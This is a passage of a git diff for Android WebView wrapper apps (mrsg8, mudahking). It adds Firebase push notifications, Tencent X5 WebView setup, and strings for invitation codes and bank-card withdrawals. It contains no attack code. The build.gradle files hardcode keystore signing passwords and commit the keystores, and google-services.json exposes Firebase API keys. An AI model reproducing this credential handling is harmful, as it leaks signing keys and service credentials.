0000000..efa2168 --- /dev/null +++ b/mrbluey/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/xml/app_updater_paths.xml b/mrbluey/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/mrbluey/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/xml/network_security_config.xml b/mrbluey/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/mrbluey/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/xml/provider_paths.xml b/mrbluey/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/mrbluey/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/mrbluey/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/mrbluey/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/mrbluey/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/mrsg8/.gitignore b/mrsg8/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/mrsg8/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/mrsg8/build.gradle b/mrsg8/build.gradle new file mode 100644 index 0000000..add7192 --- /dev/null +++ b/mrsg8/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.mrsg8" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "mrsg8" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/mrsg8/google-services.json b/mrsg8/google-services.json new file mode 100644 index 0000000..c5a12f2 --- /dev/null +++ b/mrsg8/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "917056186362", + "project_id": "mrsg8-f60dc", + "storage_bucket": "mrsg8-f60dc.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:917056186362:android:1e9bc8660eb9846d21e643", + "android_client_info": { + "package_name": "com.xyz.mrsg8" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCGq5nnjmJYpXBNPXIJSBhJXY0Yn5wySGc" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/mrsg8/justlet.jks b/mrsg8/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/mrsg8/justlet.jks differ diff --git a/mrsg8/ppn.jks b/mrsg8/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/mrsg8/ppn.jks differ diff --git a/mrsg8/proguard-rules.pro b/mrsg8/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/mrsg8/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/mrsg8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/mrsg8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/mrsg8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/mrsg8/src/main/AndroidManifest.xml b/mrsg8/src/main/AndroidManifest.xml new file mode 100644 index 0000000..0a97d33 --- /dev/null +++ b/mrsg8/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/java/com/xyz/mrsg8/MainActivity.java b/mrsg8/src/main/java/com/xyz/mrsg8/MainActivity.java new file mode 100644 index 0000000..ff558f0 --- /dev/null +++ b/mrsg8/src/main/java/com/xyz/mrsg8/MainActivity.java @@ -0,0 +1,51 @@ +package com.xyz.mrsg8; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 222; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://mrsg8.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#bf710f"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000d27"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/mrsg8/src/main/java/com/xyz/mrsg8/MyFirebaseMessageingService.java b/mrsg8/src/main/java/com/xyz/mrsg8/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b39152c --- /dev/null +++ b/mrsg8/src/main/java/com/xyz/mrsg8/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.mrsg8; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/mrsg8/src/main/java/com/xyz/mrsg8/WebApplication.java b/mrsg8/src/main/java/com/xyz/mrsg8/WebApplication.java new file mode 100644 index 0000000..f0a71a0 --- /dev/null +++ b/mrsg8/src/main/java/com/xyz/mrsg8/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.mrsg8; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/mrsg8/src/main/res/drawable-anydpi/ic_action_back.xml b/mrsg8/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/mrsg8/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/mrsg8/src/main/res/drawable-hdpi/ic_action_back.png b/mrsg8/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/mrsg8/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/mrsg8/src/main/res/drawable-mdpi/ic_action_back.png b/mrsg8/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/mrsg8/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/mrsg8/src/main/res/drawable-v24/ic_launcher_foreground.xml b/mrsg8/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/mrsg8/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable-xhdpi/ic_action_back.png b/mrsg8/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/mrsg8/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/mrsg8/src/main/res/drawable-xxhdpi/ic_action_back.png b/mrsg8/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/mrsg8/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/mrsg8/src/main/res/drawable/big_bg.xml b/mrsg8/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..6c48de0 --- /dev/null +++ b/mrsg8/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable/ic_launcher_background.xml b/mrsg8/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/mrsg8/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/mrsg8/src/main/res/drawable/input_bg.xml b/mrsg8/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/mrsg8/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/mrsg8/src/main/res/drawable/pass_word_bg.xml b/mrsg8/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/mrsg8/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/mrsg8/src/main/res/drawable/pass_word_bg1.xml b/mrsg8/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/mrsg8/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable/pass_word_bg2.xml b/mrsg8/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/mrsg8/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable/shape_btn_bg.xml b/mrsg8/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/mrsg8/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable/shape_dialog_bg2.xml b/mrsg8/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/mrsg8/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable/shape_dialog_bg3.xml b/mrsg8/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/mrsg8/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/drawable/shape_dialog_bg_new.xml b/mrsg8/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/mrsg8/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/mrsg8/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/mrsg8/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/mrsg8/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/mrsg8/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/mipmap-hdpi/ic_empty.png b/mrsg8/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/mrsg8/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/mrsg8/src/main/res/mipmap-hdpi/ic_pull_down.png b/mrsg8/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/mrsg8/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/mrsg8/src/main/res/mipmap-xhdpi/ic_close.png b/mrsg8/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/mrsg8/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/mrsg8/src/main/res/mipmap-xhdpi/ic_menu.png b/mrsg8/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/mrsg8/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/mrsg8/src/main/res/mipmap-xxhdpi/app_logo.png b/mrsg8/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..d199c0d Binary files /dev/null and b/mrsg8/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/mrsg8/src/main/res/values-en/strings.xml b/mrsg8/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..9c07c3f --- /dev/null +++ b/mrsg8/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + MrSG8 + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/mrsg8/src/main/res/values-night/themes.xml b/mrsg8/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/mrsg8/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/values/colors.xml b/mrsg8/src/main/res/values/colors.xml new file mode 100644 index 0000000..53fae42 --- /dev/null +++ b/mrsg8/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #bf710f + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/mrsg8/src/main/res/values/strings.xml b/mrsg8/src/main/res/values/strings.xml new file mode 100644 index 0000000..76676e0 --- /dev/null +++ b/mrsg8/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + MrSG8 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/values/themes.xml b/mrsg8/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/mrsg8/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/xml/app_updater_paths.xml b/mrsg8/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/mrsg8/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/xml/network_security_config.xml b/mrsg8/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/mrsg8/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/mrsg8/src/main/res/xml/provider_paths.xml b/mrsg8/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/mrsg8/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/mrsg8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/mrsg8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/mrsg8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/mudahking/build.gradle b/mudahking/build.gradle index 0c4ddac..374230e 100644 --- a/mudahking/build.gradle +++ b/mudahking/build.gradle @@ -7,7 +7,7 @@ android { compileSdkVersion 31 buildToolsVersion "30.0.3" defaultConfig { - applicationId "com.web.mudahking" + applicationId "com.xyz.mk" minSdkVersion 24 targetSdkVersion 31 versionCode rootProject.ext.versionCode @@ -16,17 +16,29 @@ android { } signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } debug { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('justlet.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } release { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('justlet.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } } diff --git a/mudahking/google-services.json b/mudahking/google-services.json index a10f03b..e13f86f 100644 --- a/mudahking/google-services.json +++ b/mudahking/google-services.json @@ -1,21 +1,21 @@ { "project_info": { - "project_number": "627478897427", - "project_id": "mudahking", - "storage_bucket": "mudahking.firebasestorage.app" + "project_number": "750412055417", + "project_id": "notimdk", + "storage_bucket": "notimdk.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:627478897427:android:275b0b68c9f10af79470e6", + "mobilesdk_app_id": "1:750412055417:android:616a732e872dffd65365a8", "android_client_info": { - "package_name": "com.web.mudahking" + "package_name": "com.xyz.mk" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyBDjgRYnsZF-IDttgwyDR1iCc2ZWbtbuxk" + "current_key": "AIzaSyD8npifK5V9rvzGquRZHjUiBGtz7fx301o" } ], "services": { diff --git a/mudahking/justlet.jks b/mudahking/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/mudahking/justlet.jks differ diff --git a/mudahking/src/main/AndroidManifest.xml b/mudahking/src/main/AndroidManifest.xml index b0ef617..8d41668 100644 --- a/mudahking/src/main/AndroidManifest.xml +++ b/mudahking/src/main/AndroidManifest.xml @@ -1,6 +1,6 @@ + package="com.xyz.mk"> serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new 